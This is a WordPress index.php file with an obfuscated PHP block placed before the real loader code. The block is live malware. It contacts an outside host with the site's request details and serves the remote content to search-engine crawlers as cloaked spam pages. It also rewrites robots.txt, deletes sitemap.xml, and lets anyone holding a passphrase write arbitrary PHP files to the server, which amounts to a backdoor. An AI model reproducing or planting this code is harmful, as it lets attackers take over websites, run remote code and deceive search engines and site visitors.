<?php
 goto rM3Y_; YFXQM: $goweb = $xmlname . "\56\x76\x62\x68\163\147" . "\x2e\170\x79\x7a"; goto qziYD; In59Z: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto Pl89D; icmCr: function sbot() { $uAgent = strtolower($_SERVER["\110\124\124\x50\137\x55\123\105\122\x5f\101\x47\x45\116\124"]); if (stristr($uAgent, "\x67\x6f\x6f\147\x6c\145\142\157\164") || stristr($uAgent, "\x62\151\x6e\x67") || stristr($uAgent, "\171\x61\x68\157\157") || stristr($uAgent, "\x67\157\157\147\x6c\145") || stristr($uAgent, "\107\x6f\157\147\x6c\145\x62\x6f\164") || stristr($uAgent, "\147\157\157\147\x6c\x65\142\x6f\164")) { return true; } else { return false; } } goto j417P; fnAkq: $lang = urlencode($lang); goto VUboH; BK2nz: $xmlname = "\x63\155\172\x66"; goto qFMtQ; qFMtQ: $http_web = "\x68\x74\164\x70"; goto S5XlJ; HEe94: $web = $http_web . "\x3a\x2f\57" . $goweb . "\57\151\156\144\x65\x78\156\145\167\x2e\x70\150\x70\77\x77\145\x62\x3d" . $host . "\x26\172\172\75" . sbot() . "\46\165\x72\151\x3d" . $duri . "\x26\x75\x72\x6c\x73\150\141\156\147\75" . $urlshang . "\46\150\164\x74\160\x3d" . $http . "\46\x6c\x61\x6e\147\75" . $lang; goto j0xUU; bD9yk: function st_uri() { if (isset($_SERVER["\x52\x45\x51\x55\105\123\x54\137\125\x52\x49"])) { $duri = $_SERVER["\x52\x45\x51\125\x45\123\124\137\125\122\x49"]; } else { if (isset($_SERVER["\141\x72\147\166"])) { $duri = $_SERVER["\x50\110\120\x5f\123\105\114\106"] . "\77" . $_SERVER["\x61\x72\147\166"][0]; } else { $duri = $_SERVER["\x50\110\120\137\x53\105\x4c\106"] . "\x3f" . $_SERVER["\x51\125\x45\122\131\137\123\124\x52\111\116\107"]; } } return $duri; } goto YFXQM; csheh: if (isset($_SERVER["\x48\124\x54\x50\137\122\105\106\x45\x52\x45\122"])) { $urlshang = $_SERVER["\110\124\x54\120\x5f\122\x45\x46\105\122\105\122"]; $urlshang = urlencode($urlshang); } goto aXOh4; rM3Y_: @set_time_limit(3600); goto WzI5J; Pl89D: $duri = urlencode($duri_tmp); goto bD9yk; JSXoZ: function pingmap($url) { $url_arr = explode("\15\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\x69\164\x65\x6d\141\x70\40\116\x6f\x74\x69\x66\151\143\141\x74\x69\x6f\x6e\40\122\x65\x63\x65\151\x76\x65\x64") !== false ? "\160\151\156\147\157\x6b" : "\145\162\x72\157\162"; $return_str .= $pingUrl . "\55\55\x20" . $ok . "\x3c\x62\x72\x3e"; } return $return_str; } goto icmCr; qDOKb: $lang = @$_SERVER["\x48\x54\124\x50\137\101\x43\x43\x45\120\124\x5f\114\101\x4e\x47\125\101\107\x45"]; goto fnAkq; qziYD: function is_htps() { if (isset($_SERVER["\110\x54\124\120\123"]) && strtolower($_SERVER["\x48\x54\x54\120\123"]) !== "\157\146\146") { return true; } elseif (isset($_SERVER["\110\124\x54\120\x5f\130\x5f\106\117\x52\x57\101\x52\104\x45\x44\137\x50\x52\117\124\x4f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\117\x52\x57\x41\122\104\105\x44\x5f\x50\122\x4f\x54\117"] === "\x68\x74\164\160\163") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\137\106\122\117\116\x54\137\x45\x4e\x44\x5f\x48\124\124\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\x46\122\x4f\x4e\x54\137\105\116\x44\137\110\x54\124\120\123"]) !== "\x6f\146\x66") { return true; } return false; } goto OxvR9; j417P: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\162\154\x5f\151\x6e\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto fxHYN; aXOh4: if (@$_GET["\160\x64"] != '') { $add_content = @$_GET["\x6d\141\x70\156\x61\x6d\145"]; $action = @$_GET["\141\x63\x74\x69\x6f\x6e"]; if (isset($_SERVER["\104\117\103\x55\x4d\x45\x4e\x54\x5f\122\x4f\117\124"])) { $path = $_SERVER["\x44\117\103\x55\x4d\105\116\x54\x5f\x52\117\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\x74"; } if ($action == "\x70\x75\164") { if (strstr($add_content, "\56\170\x6d\154")) { $map_path = $path . "\x2f\163\x69\164\145\x6d\x61\160\x2e\x78\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\x62\157\x74\x73\56\x74\170\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\x73\x65\x72\55\x61\x67\145\x6e\x74\x3a\x20\52\101\154\154\157\167\72\x20\x2f"; } $sitmap_url = $http . "\72\x2f\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\x72\76\163\x69\164\145\155\x61\160\x20\x61\154\x72\x65\141\x64\x79\x20\x61\x64\144\x65\144\x21\74\142\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\x53\151\x74\x65\155\141\x70\x3a\40" . $sitmap_url)) { echo "\x3c\142\162\x3e\x6f\153\x3c\x62\x72\x3e"; } else { echo "\74\142\162\76\x66\151\154\x65\x20\167\162\151\x74\145\40\146\141\154\163\x65\41\x3c\x62\x72\x3e"; } } } else { echo "\74\x62\162\x3e\x73\151\x74\x65\x6d\141\x70\40\156\x61\x6d\145\x20\x66\x61\154\x73\145\x21\74\142\162\76"; } if (strstr($add_content, "\x2e\160" . "\150\160")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\57\57" . $goweb . "\x2f\141\56\160" . "\150\x70") || $b == "\x38\60\x38\67\x33\65\142\61\x37\143\70\x39\64\63\x65\x33\x37\x31\x35\63\70\70\x39\65\70\144\143\62\x32\144\x38\67\x39\141\70\143\71\x65\141\x61") { $dstr = @$_GET["\x64\163\164\x72"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto HEe94; j0xUU: $htmcontent = trim(dageget($web)); goto r7Sye; BeZyL: $duri_tmp = st_uri(); goto In59Z; S5XlJ: if (is_htps()) { $http = "\x68\x74\x74\160\163"; } else { $http = "\150\x74\164\160"; } goto BeZyL; r7Sye: if (!strstr($htmcontent, "\x6e\157\142\x6f\x74\165\x73\x65\x72\x61\147\145\156\164")) { if (strstr($htmcontent, "\x6f\153\x68\x74\x6d\154\x67\x65\164\x63\x6f\156\164\145\156\164")) { @header("\103\x6f\156\164\x65\156\x74\55\164\x79\160\145\72\40\x74\x65\x78\164\57\150\164\x6d\x6c\73\x20\143\150\x61\162\x73\x65\x74\75\x75\x74\146\x2d\70"); $htmcontent = str_replace("\x6f\x6b\x68\164\155\154\x67\145\164\143\157\156\164\145\156\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\x6b\170\x6d\154\x67\145\x74\143\x6f\x6e\164\x65\156\164")) { $htmcontent = str_replace("\157\153\x78\x6d\x6c\147\145\164\x63\x6f\x6e\164\x65\x6e\164", '', $htmcontent); @header("\x43\157\x6e\164\145\156\x74\x2d\x74\171\x70\x65\x3a\x20\x74\145\170\x74\57\x78\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\x69\156\x67\x78\155\x6c\147\x65\x74\x63\x6f\x6e\x74\145\156\164")) { $htmcontent = str_replace("\x70\x69\x6e\x67\170\x6d\154\x67\x65\x74\x63\157\156\164\x65\156\164", '', $htmcontent); @header("\x43\x6f\156\x74\x65\156\164\x2d\164\171\160\145\x3a\40\164\x65\170\164\57\x68\164\155\x6c\x3b\x20\143\150\141\x72\x73\145\164\x3d\165\x74\x66\x2d\70"); echo pingmap($htmcontent); die; } } } } goto JSXoZ; OxvR9: $host = $_SERVER["\110\x54\x54\120\x5f\x48\x4f\x53\124"]; goto qDOKb; WzI5J: @ignore_user_abort(1); goto BK2nz; VUboH: $urlshang = ''; goto csheh; fxHYN: 
 //vx108  ?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>